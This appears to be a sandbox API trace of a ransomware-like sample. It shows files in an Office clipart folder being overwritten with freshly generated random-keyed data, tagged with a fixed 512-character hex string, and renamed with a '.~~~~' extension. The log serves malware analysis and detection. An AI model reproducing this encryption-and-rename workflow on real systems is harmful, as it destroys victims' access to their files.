	[0106.333] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.333] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.333] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.333] CloseHandle (hObject=0x130) returned 1
	[0106.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.334] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf.~~~~")) returned 1
	[0106.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.335] GetLastError () returned 0x0
	[0106.335] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.337] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.337] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.337] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22632702081) returned 1
	[0106.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa90d7ed0, dwHighDateTime=0x1d60e1e)) 
	[0106.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d7f8
	[0106.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d7f8 | out: hHeap=0x300000) returned 1
	[0106.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28730a8
	[0106.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.338] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.338] GetLastError () returned 0x0
	[0106.338] GetLastError () returned 0x0
	[0106.339] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.339] GetLastError () returned 0x0
	[0106.339] GetLastError () returned 0x0
	[0106.344] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffc7ac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.344] WriteFile (in: hFile=0x130, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x3854, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x26dfec0*=0x3854, lpOverlapped=0x0) returned 1
	[0106.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0106.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.345] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.346] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.346] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.346] CloseHandle (hObject=0x130) returned 1
	[0106.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898810
	[0106.346] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf.~~~~")) returned 1
	[0106.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898810 | out: hHeap=0x300000) returned 1
	[0106.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.347] GetLastError () returned 0x0
	[0106.347] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.349] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.349] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.349] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22633896801) returned 1
	[0106.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa90fe030, dwHighDateTime=0x1d60e1e)) 
	[0106.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d830
	[0106.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d830 | out: hHeap=0x300000) returned 1
	[0106.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898810
	[0106.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28731d8
	[0106.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898810 | out: hHeap=0x300000) returned 1
	[0106.350] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.350] GetLastError () returned 0x0
	[0106.350] GetLastError () returned 0x0
	[0106.350] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.350] GetLastError () returned 0x0
	[0106.351] GetLastError () returned 0x0
	[0106.353] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffd178, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.353] WriteFile (in: hFile=0x130, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x2e88, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x26dfec0*=0x2e88, lpOverlapped=0x0) returned 1
	[0106.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0106.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.425] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.425] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.426] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.426] CloseHandle (hObject=0x130) returned 1
	[0106.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.487] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf.~~~~")) returned 1
	[0106.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.495] GetLastError () returned 0x0
	[0106.495] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.497] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.497] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.497] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22648716526) returned 1
	[0106.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa927adf0, dwHighDateTime=0x1d60e1e)) 
	[0106.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286da60
	[0106.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286da60 | out: hHeap=0x300000) returned 1
	[0106.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873270
	[0106.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.498] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.498] GetLastError () returned 0x0
	[0106.498] GetLastError () returned 0x0
	[0106.498] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.498] GetLastError () returned 0x0
	[0106.499] GetLastError () returned 0x0
	[0106.502] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffcab0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.503] WriteFile (in: hFile=0x130, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3550, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x3550, lpOverlapped=0x0) returned 1
	[0106.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0106.504] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.504] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.504] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.504] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.504] CloseHandle (hObject=0x130) returned 1
	[0106.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.504] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf.~~~~")) returned 1
	[0106.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.506] GetLastError () returned 0x0
	[0106.507] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.508] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.508] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.508] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22649813988) returned 1
	[0106.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa927adf0, dwHighDateTime=0x1d60e1e)) 
	[0106.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286da98
	[0106.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286da98 | out: hHeap=0x300000) returned 1
	[0106.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873860
	[0106.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.509] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.509] GetLastError () returned 0x0
	[0106.509] GetLastError () returned 0x0
	[0106.509] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.509] GetLastError () returned 0x0
	[0106.509] GetLastError () returned 0x0
	[0106.512] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffdc0c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.512] WriteFile (in: hFile=0x130, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x23f4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x23f4, lpOverlapped=0x0) returned 1
	[0106.513] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0106.513] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.513] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.513] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.514] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.514] CloseHandle (hObject=0x130) returned 1
	[0106.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.514] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf.~~~~")) returned 1
	[0106.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.515] GetLastError () returned 0x0
	[0106.515] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.516] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.517] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.517] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22650696408) returned 1
	[0106.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa92a0f50, dwHighDateTime=0x1d60e1e)) 
	[0106.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286dad0
	[0106.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286dad0 | out: hHeap=0x300000) returned 1
	[0106.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28738f8
	[0106.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.518] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.518] GetLastError () returned 0x0
	[0106.518] GetLastError () returned 0x0
	[0106.518] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.518] GetLastError () returned 0x0
	[0106.519] GetLastError () returned 0x0
	[0106.521] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffddf0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.521] WriteFile (in: hFile=0x130, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2210, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x2210, lpOverlapped=0x0) returned 1
	[0106.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
